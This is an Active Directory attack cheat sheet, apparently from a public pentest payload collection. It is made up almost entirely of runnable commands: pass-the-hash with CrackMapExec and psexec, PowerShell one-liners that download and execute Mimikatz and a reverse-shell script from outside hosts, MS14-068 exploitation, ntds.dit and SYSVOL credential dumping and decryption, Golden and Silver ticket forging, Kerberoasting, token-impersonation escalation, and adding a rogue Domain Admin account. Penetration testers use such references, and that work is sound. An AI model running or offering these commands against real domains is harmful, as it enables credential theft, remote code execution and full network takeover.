Active Directory Attacks

Summary

- Tools
- Most common paths to AD compromise
  - MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
  - Open Shares
  - GPO - Pivoting with Local Admin & Passwords in SYSVOL
  - Dumping AD Domain Credentials
  - Password in AD User comment
  - Golden Tickets
  - Silver Tickets
  - Trust Tickets
  - Kerberoast
  - Pass-the-Hash
  - OverPass-the-Hash (pass the key)
  - Dangerous Built-in Groups Usage
  - Trust relationship between domains
- Privilege Escalation
  - PrivEsc Local Admin - Token Impersonation (RottenPotato)
  - PrivEsc Local Admin - MS16-032
  - PrivEsc Local Admin - MS17-010 (Eternal Blue)
  - From Local Admin to Domain Admin

Tools

- Impacket (https://github.com/CoreSecurity/impacket) or the Windows version (https://github.com/maaaaz/impacket-examples-windows)
- Responder (https://github.com/SpiderLabs/Responder)
- Mimikatz (https://github.com/gentilkiwi/mimikatz)
- Ranger (https://github.com/funkandwagnalls/ranger)
- BloodHound (https://github.com/BloodHoundAD/BloodHound)

```
apt install bloodhound #kali
```

```
neo4j console
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
./bloodhound
SharpHound.exe (from resources/Ingestor)
or
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
```

- AdExplorer (https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
- CrackMapExec (https://github.com/byt3bl33d3r/CrackMapExec)

```
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec smb -L
crackmapexec smb -M name_module -o VAR=DATA
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f” -M web_delivery -o URL="https://IP:PORT/posh-payload”
crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f” --exec-method smbexec -X 'whoami'
```

- PowerSploit (https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)

```
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks”
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');”
```

- Active Directory Assessment and Privilege Escalation Script (https://github.com/hausec/ADAPE-Script)

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

```
Exploit Python: https://www.exploit-db.com/exploits/35474/
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum

git clone https://github.com/bidord/pykek
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
```

```
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```

Open Shares

```
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
ls # list files
cd
get # download files
put # replace a file
```

Mount a share

```
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
```

GPO - Pivoting with Local Admin & Passwords in SYSVOL

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL

```
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a password found in SYSVOL (by 0x00C651E0 (https://twitter.com/0x00C651E0/status/956362334682849280))

```
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

Metasploit modules to enumerate shares and credentials

```
scanner/smb/smb_enumshares
windows/gather/enumshares
windows/gather/credentials/gpp
```

Crackmapexec modules

```
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
```

List all GPO for a domain

```
Get-GPO -domaine DOMAIN.COM -all
```

```
Get-GPOReport -all -reporttype xml --all

Powersploit:
Get-NetGPO
Get-NetGPOGroup
```

Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)

Using ndtsutil

```
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

Using Vshadow

```
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : https://github.com/samratashok/nishang (https://github.com/samratashok/nishang)

```
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```

Using vssadmin

```
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```

Using DiskShadow (a Windows signed binary)

```
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
```

```
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes

```
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretsdump also works remotely

```
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```

Alternatives - modules

Metasploit modules

```
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
```

CrackMapExec module

```
cme smb 10.10.0.202 -u username -p password --ntds vss
```

Password in AD User comment

```
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas:
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
```

PassTheTicket Golden Tickets

Forging a TGT require the krbtgt key

Mimikatz version

```
Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt


```

```
Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

Meterpreter version

```
Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

Using a ticket on Linux

```
Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519


export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME


NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```

PassTheTicket Silver Tickets

Forging a TGS require machine accound password (key) from the KDC

```
Create a ticket for the service
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

Then use the same steps as a Golden ticket
misc::convert ccache ticket.kirbi
export KRB5CCNAME=/home/user/ticket.ccache
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```

Trust Tickets

TODO

Kerberoast

```
https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf
https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
https://room362.com/post/2016/kerberoast-pt1/

./GetUserSPNS.py -request lab.ropnop.com/thoffman:Summer2017
(Impacket) Kerberoasting (ldap query, tgs in JTR format)
```

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.

```
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

or with crackmapexec
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...

or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d

or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash>
```

```
/run:"mstsc.exe /restrictedadmin"
```

OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash

```
Using impacket
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
chmod 600 tgwynn.ccache

also with the AES Key if you have it
./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com


ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5be
c39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist
```

Dangerous Built-in Groups Usage

AdminSDHolder

```
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
```

Trust relationship between domains

```
nltest /trusted_domains
```

or

```
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrust
Relationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional
```

Privilege Escalation

PrivEsc Local Admin - Token Impersonation (RottenPotato)

Binary available at : https://github.com/foxglovesec/RottenPotato (https://github.com/foxglovesec/RottenPotato) Binary available at : https://github.com/breenmachine/RottenPotatoNG (https://github.com/breenmachine/RottenPotatoNG)

```
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
```

```
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop
-exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:
82/Invoke-PowerShellTcp.ps1');\"};"
```

PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : `wmic qfe list | find "3139914"`

```
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

PrivEsc Local Admin - MS17-010 (Eternal Blue)

```
nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17—010 <ip_netblock>
```

From Local Admin to Domain Admin

```
net user hacker2 hacker123 /add /Domain
net group "Domain Admins" hacker2 /add /domain
```

Documentation / Thanks to

- https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html (https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
- Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher (https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-

your-internal-network-before-lunch-2018-edition-82259ab73aaa)

- Finding Passwords in SYSVOL & Exploiting Group Policy Preferences (https://adsecurity.org/?p=2288)
- Golden ticket – Pentestlab (https://pentestlab.blog/2018/04/09/golden-ticket/)
- Dumping Domain Password Hashes – Pentestlab (https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
- Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r (https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
- Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r (https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
- Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin (https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
- Pen Testing Active Directory Environments – Part I: Introduction to crackmapexec (and PowerView) (https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
- Pen Testing Active Directory Environments – Part II: Getting Stuff Done With PowerView (https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
- Pen Testing Active Directory Environments – Part III: Chasing Power Users (https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
- Pen Testing Active Directory Environments – Part IV: Graph Fun (https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
- Pen Testing Active Directory Environments – Part V: Admins and Graphs (https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
- Pen Testing Active Directory Environments – Part VI: The Final Case (https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
- Passing the hash with native RDP client (mstsc.exe) (https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
- Fun with LDAP, Kerberos (and MSRPC) in AD Environments (https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
- DiskShadow The return of VSS Evasion Persistence and AD DB extraction (https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
- How To Pass the Ticket Through SSH Tunnels – bluescreenofjeff (https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 1 (https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 2 (https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 3 (https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 4 (https://akerva.com/blog/wonkachall-

akerva-ndh2018-write-up-part-4/)

- WONKACHALL AKERVA NDH2018 – WRITE UP PART 5 (https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
- BlueHat IL - Benjamin Delpy (https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
- Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith (https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
- Using bloodhound to map the user network - Hausec (https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)